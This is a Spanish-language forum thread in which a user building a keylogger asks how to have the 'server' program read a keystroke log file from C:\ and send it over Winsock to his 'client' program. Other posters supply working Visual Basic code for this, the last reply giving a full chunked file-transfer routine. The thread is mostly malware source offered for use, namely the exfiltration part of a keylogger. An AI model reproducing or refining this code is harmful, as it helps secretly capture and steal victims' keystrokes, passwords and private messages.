Autor
|
Tema: abrir txt leerlo y enviarlo (Leído 2,052 veces)
|
K-19
Desconectado
Mensajes: 422
Sarah Wayne
|
pues eso quiero hacer una funcion para el keylogger que seria la siguiente, cuando yo le de a un boton, quiero que el server me lea un .txt que se encuentra en C:\ y me mande los datos, y cuando lleguen al cliente quiero que el cliente los meta en un textbox para yo leerlo. yo tengo algo asi pero no me funciona. Server.exe (DataArrival) Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim datos Dim keys Winsock1.GetData datos If datos = "keylog" Then Open "c:\archivo.txt" For Append As #1 Print #1, Text4.Text Close #1 keys = Text4.Text Winsock1.SendData keys End If End Sub Cliente.exe (DataArrival) Private Sub WS_DataArrival(ByVal bytesTotal As Long) Dim datos If datos = "keys" Then Text1.Text = keys End If End Sub si alguien podria decirme como es mas o menos se lo agradezco mucho
|
|
|
En línea
|
|
|
|
Sancho.Mazorka
Desconectado
Mensajes: 480
Gamer & Programador
|
Mira cometiste un par de errores como usar el metodo de agregar texto a un archivo ( Append ) cuando tenia que ser de entrada ( Input ) Server.exe (DataArrival) Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim datos as string Dim keys as string Winsock1.GetData datos If datos = "keylog" Then Open "c:\archivo.txt" For Input As #1 Input #1, Text4.Text Close #1 keys = Text4.Text Winsock1.SendData "Keylog" & keys End If End Sub Cliente.exe (DataArrival) Private Sub WS_DataArrival(ByVal bytesTotal As Long) Dim Datos as string If left(Datos,6) = "Keylog" Then Text1.Text = Right(Datos,Len(Datos) - 6) End If End Sub Espero que te sirva, talvez que me equivoque con el input, avisame si es asi.
|
|
|
En línea
|
|
|
|
K-19
Desconectado
Mensajes: 422
Sarah Wayne
|
me sigue dando el mismo error, me dice unsuported variant type, el error me da al darle al boton, q le puse ws.senddata keylog y lo de input #1, text4.text no me dejo ponerlo asi, tuve q meter text4.text en una variable, alguna sugerencia?
gracias
|
|
|
En línea
|
|
|
|
~~
|
Server.exe (DataArrival) Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim datos as string Dim keys as string Winsock1.GetData datos If datos = "keylog" Then Open "c:\archivo.txt" For binary As #1 put #1, Text4.Text Close #1 keys = Text4.Text Winsock1.SendData "Keylog" & keys End If End Sub Cliente: Private Sub WS_DataArrival(ByVal bytesTotal As Long) Dim Datos as string If left(Datos,6) = "Keylog" Then Text1.Text = Mid(Datos,7) End If End Sub He cambiado un par de cosas. Si te sigue dando error dime la linea y lo miro 1S4ludo
|
|
|
En línea
|
|
|
|
K-19
Desconectado
Mensajes: 422
Sarah Wayne
|
esta linea me da un error :S me dice, Expected: list separator
|
|
|
En línea
|
|
|
|
K-19
Desconectado
Mensajes: 422
Sarah Wayne
|
bueno buscando y buscando encontre manuales y ejemplos en ingles y lo apliqué, lo pongo por aqui por si interesa: Server.exe (DataArrival) Private Sub WS_DataArrival(ByVal bytesTotal As Long) Dim datos As String Dim keys As String WS.GetData datos If datos = "keylog" Then Open "c:\archivo.txt" For Input As #1 While Not EOF(1) Line Input #1, temp$ alltext$ = alltext$ & temp$ & vbCrLf Wend Text4.text = alltext$ Close #1 keys = Text4.text WS.SendData "Keylog" & keys End If End Sub
|
|
« Última modificación: 25 Enero 2007, 21:20 pm por K-19 »
|
En línea
|
|
|
|
~~
|
Si, tienes razon le falta una oma que me e comido: Una cosa. Ese code q has puesto no funciona si el archivo es muy grande (haz la prueva) por q el ws parte las cadenas q envia, tienes q hacerlo asi: Server: Private Sub Form_Load() ws.Close ws.Connect "127.0.0.1", 2848 End Sub
Private Sub ws_Connect() ws.SendData "Tam:" & FileLen("C:\Prueba.txt") End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long) Dim data As String Dim Send As String ws.GetData data
If Left(data, 8) = "SendFile" Then Open "C:\Prueba.txt" For Binary As #1 Send = Space(LOF(1)) Get #1, , Send Close #1
ws.SendData Send End If
End Sub
Cliente: Dim DataFile As String Dim LenFile As Long Dim Envio As Boolean
Private Sub Form_Load() ws.LocalPort = 2848 ws.Listen Envio = False End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long) ws.Close ws.Accept requestID End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long) Dim data As String ws.GetData data
If Envio = True Then DataFile = DataFile & data ProgressBar1.Value = Len(DataFile) If Len(DataFile) = LenFile Then Open "C:\Prueba2.txt" For Binary As #1 Put #1, , DataFile Close #1 DataFile = "" MsgBox "El Fichero se a Enviado Correctamente" Envio = False ProgressBar1.Value = 0 End If End If
If Left(data, 4) = "Tam:" Then LenFile = Mid(data, 5) ProgressBar1.Max = LenFile Envio = True ws.SendData "SendFile" End If
He puesto ademas para que salga un ProgressBar1 si no lo quieres simplemente elimina estas lineas: ProgressBar1.Max = LenFile ProgressBar1.Value = 0 ProgressBar1.Value = Len(DataFile) 1S4ludo
|
|
|
En línea
|
|
|
|
K-19
Desconectado
Mensajes: 422
Sarah Wayne
|
muchas gracias E0N, ya lo pruebo mañana la verdad es que si, me fije que cuando el .txt llegaba a un cierto tamaño pues no lo enviaba todo, e iba a postear la duda pero como el foro me lleva unos dias dando problemas, supongo q a todos, pues hasta hice que cuando llegue a un cierto tamaño pues moviera el txt a otro directorio y crear otro nuevo y asi. pero mejor como tu lo hicistes, menos engorroso xD gracias
|
|
|
En línea
|
|
|
|
|
|